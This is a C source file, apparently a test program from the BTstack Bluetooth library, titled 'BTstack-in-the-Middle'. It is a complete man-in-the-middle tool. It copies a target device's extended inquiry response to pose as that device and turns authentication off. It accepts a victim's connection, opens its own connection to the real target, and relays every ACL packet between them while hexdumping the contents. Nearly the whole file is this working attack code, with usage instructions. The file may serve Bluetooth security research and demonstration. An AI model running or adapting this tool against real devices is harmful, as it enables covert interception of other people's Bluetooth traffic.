/*
 * Copyright (C) 2009 by Matthias Ringwald
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the copyright holders nor the names of
 *    contributors may be used to endorse or promote products derived
 *    from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY MATTHIAS RINGWALD AND CONTRIBUTORS
 * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL MATTHIAS
 * RINGWALD OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
 * THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

/*
 *  test.c
 * 
 *  Created by Matthias Ringwald on 7/14/09.
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <btstack/btstack.h>

#define NAME "BTstack-in-the-Middle"
#define EIR_LEN 240

// there is the target: BOB
bd_addr_t        bob_addr;
uint8_t          bob_EIR[EIR_LEN];
hci_con_handle_t bob_handle  = 0;
uint16_t		 bob_clock_offset;
uint8_t		     bob_page_scan_repetition_mode;
uint8_t		     bob_got_EIR = 0;

// here's ALICE who wants to talk to BOB
hci_con_handle_t alice_handle = 0;

//
bd_addr_t temp_addr;
uint8_t  inquiry_done = 0;

void packet_handler(uint8_t packet_type, uint16_t channel, uint8_t *packet, uint16_t size){

	hci_con_handle_t acl_in;
	hci_con_handle_t acl_out;
	
	switch (packet_type){

		case HCI_ACL_DATA_PACKET:
			acl_in = READ_ACL_CONNECTION_HANDLE(packet);
			acl_out = 0;
			if (acl_in == alice_handle) {
				printf("Alice: ");
				hexdump( packet, size );
				printf("\n\n");
				acl_out = bob_handle;
			}
			if (acl_in == bob_handle) {
				printf("Bob: ");
				hexdump( packet, size );
				printf("\n\n");
				acl_out = alice_handle;
			}
			if (acl_out){
				bt_store_16( packet, 0, (READ_BT_16(packet, 0) & 0xf000) | acl_out);
				bt_send_acl(packet, size);
			}
			break;
			
		case HCI_EVENT_PACKET:
			
			switch(packet[0]){
					
				case BTSTACK_EVENT_STATE:
					// bt stack activated, get started - set local name
					if (packet[2] == HCI_STATE_WORKING) {
						bt_send_cmd(&hci_write_local_name, NAME);
					}
					break;
					
				case HCI_EVENT_EXTENDED_INQUIRY_RESPONSE:
					// process EIR responses
					if (packet[17]) {
						bt_flip_addr(temp_addr, &packet[3]); 
						if (BD_ADDR_CMP(temp_addr, bob_addr)) {
							printf("2. Got BOB's EIR. ");
							int i, k;
							bzero(bob_EIR, EIR_LEN);
							for (i=17, k=0;i<EIR_LEN && packet[i]; i += packet[i] + 1, k += bob_EIR[k] + 1){
								if (packet[i+1] == 0x09) {
									// complete name id -- use own
									bob_EIR[k+0] = 1 + strlen(NAME);
									bob_EIR[k+1] = 0x09;
									memcpy(&bob_EIR[k+2], NAME, strlen(NAME));
								} else {
									// vendor specific
									if (packet[i+1] == 0x0ff ) {
										bob_got_EIR = 1;
									}
									memcpy(&bob_EIR[k], &packet[i], packet[i]+1);
								}
							}
							hexdump(&bob_EIR, k);
							printf("\n\n");
							bob_clock_offset = READ_BT_16(packet, 14);
							bob_page_scan_repetition_mode = packet[9];
						}
						
						// stop inquiry
						// bt_send_cmd(&hci_inquiry_cancel);
					}
					break;
					
				case HCI_EVENT_CONNECTION_REQUEST:
					// accept incoming connections
					bt_flip_addr(temp_addr, &packet[2]); 
					if (BD_ADDR_CMP(temp_addr, bob_addr) ){
						printf("-> Connection request from BOB. Denying\n");
						// bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
					} else {
						printf("-> Connection request from Alice. Sending Accept\n");
						bt_send_cmd(&hci_accept_connection_request, &temp_addr, 1);
					}
					break;
					
				case HCI_EVENT_CONNECTION_COMPLETE:
					// handle connections
					bt_flip_addr(temp_addr, &packet[5]); 
					if (packet[2] == 0){
						hci_con_handle_t incoming_handle =  READ_BT_16(packet, 3);
						if (BD_ADDR_CMP(temp_addr, bob_addr)){
							bob_handle = incoming_handle;
							printf("7. Connected to BOB (handle %u). Relaying data!\n", bob_handle);
						} else {
							alice_handle = incoming_handle;
							printf("6. Alice connected (handle %u). Connecting to BOB.\n", alice_handle);
							bt_send_cmd(&hci_create_connection, &bob_addr, 0x18, bob_page_scan_repetition_mode, 0, 0x8000 || bob_clock_offset, 0);
						}
					} else {
						printf("Connection complete status %u for connection", packet[2]);
						print_bd_addr(temp_addr);
						printf("\n");
					}
					break;

				case HCI_EVENT_PIN_CODE_REQUEST:
					// inform about pin code request
					printf("Please enter PIN 1234 on remote device\n");
					break;

				case HCI_EVENT_DISCONNECTION_COMPLETE:
					// connection closed -> quit test app
					printf("Basebank connection closed, exit.\n");
					exit(0);
					break;

				case HCI_EVENT_COMMAND_COMPLETE:
					
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_local_name) ) {
						bt_send_cmd(&hci_write_class_of_device, 0x7A020C);  // used on iPhone
					}
					
					// use pairing yes/no
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_class_of_device) ) {
						bt_send_cmd(&hci_write_authentication_enable, 0);
					}
					
					// allow Extended Inquiry responses
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_authentication_enable) ) {
						bt_send_cmd(&hci_write_inquiry_mode, 2);
					}
					
					// get all events, including EIRs
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_inquiry_mode) ) {
						bt_send_cmd(&hci_set_event_mask, 0xffffffff, 0x1fffffff);
					}
					
					// fine with us, too
					if ( COMMAND_COMPLETE_EVENT(packet, hci_set_event_mask) ) {
						bt_send_cmd(&hci_write_simple_pairing_mode, 1);
					}
					
					// start inquiry
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_simple_pairing_mode) ) {
						// enable capure
						bt_send_cmd(&btstack_set_acl_capture_mode, 1);
						
						printf("1. Started inquiry.\n");
						bt_send_cmd(&hci_inquiry, HCI_INQUIRY_LAP, 15, 0);
					}
						// Connect to BOB
					if ( COMMAND_COMPLETE_EVENT(packet, hci_write_extended_inquiry_response) ) {
						printf("5. Waiting for Alice!...\n");
						// bt_send_cmd(&hci_write_scan_enable, 3); // 3 inq scan + page scan
						// bt_send_cmd(&hci_create_connection, &addr, 0x18, page_scan_repetition_mode, 0, 0x8000 || clock_offset, 0);
					}
					break;
					
				default:
					// Inquiry done, set EIR
					if (packet[0] == HCI_EVENT_INQUIRY_COMPLETE || COMMAND_COMPLETE_EVENT(packet, hci_inquiry_cancel)){
						if (!inquiry_done){
							inquiry_done = 1;
							printf("3. Inquiry Complete\n");
							if (bob_got_EIR){
								printf("4. Set EIR to Bob's.\n");
								bt_send_cmd(&hci_write_extended_inquiry_response, 0, bob_EIR);	
							} else {
								// failed to get BOB's EIR
							}
						}
					}
				break;
			}

		default:
			break;
	}
	
	
}

int main (int argc, const char * argv[]){
	// parse addr of Bob
	uint8_t ok = 0;
	if (argc >= 2) {
		ok = sscan_bd_addr((uint8_t *) argv[1], bob_addr);
	} 
	if (!ok) {
		printf("Usage: mitm 12:34:56:78:9A:BC\n");
		exit(0);
	}
	
	// start stack
	run_loop_init(RUN_LOOP_POSIX);
	int err = bt_open();
	if (err) {
		printf("Failed to open connection to BTdaemon\n");
		return err;
	}
	
	printf("BTstack-in-the-Middle started, will pretend to be BOB (");
	print_bd_addr(bob_addr);
	printf(")\n");
	
	bt_register_packet_handler(packet_handler);
	bt_send_cmd(&btstack_set_power_mode, HCI_POWER_ON );
	run_loop_execute();
	bt_close();
}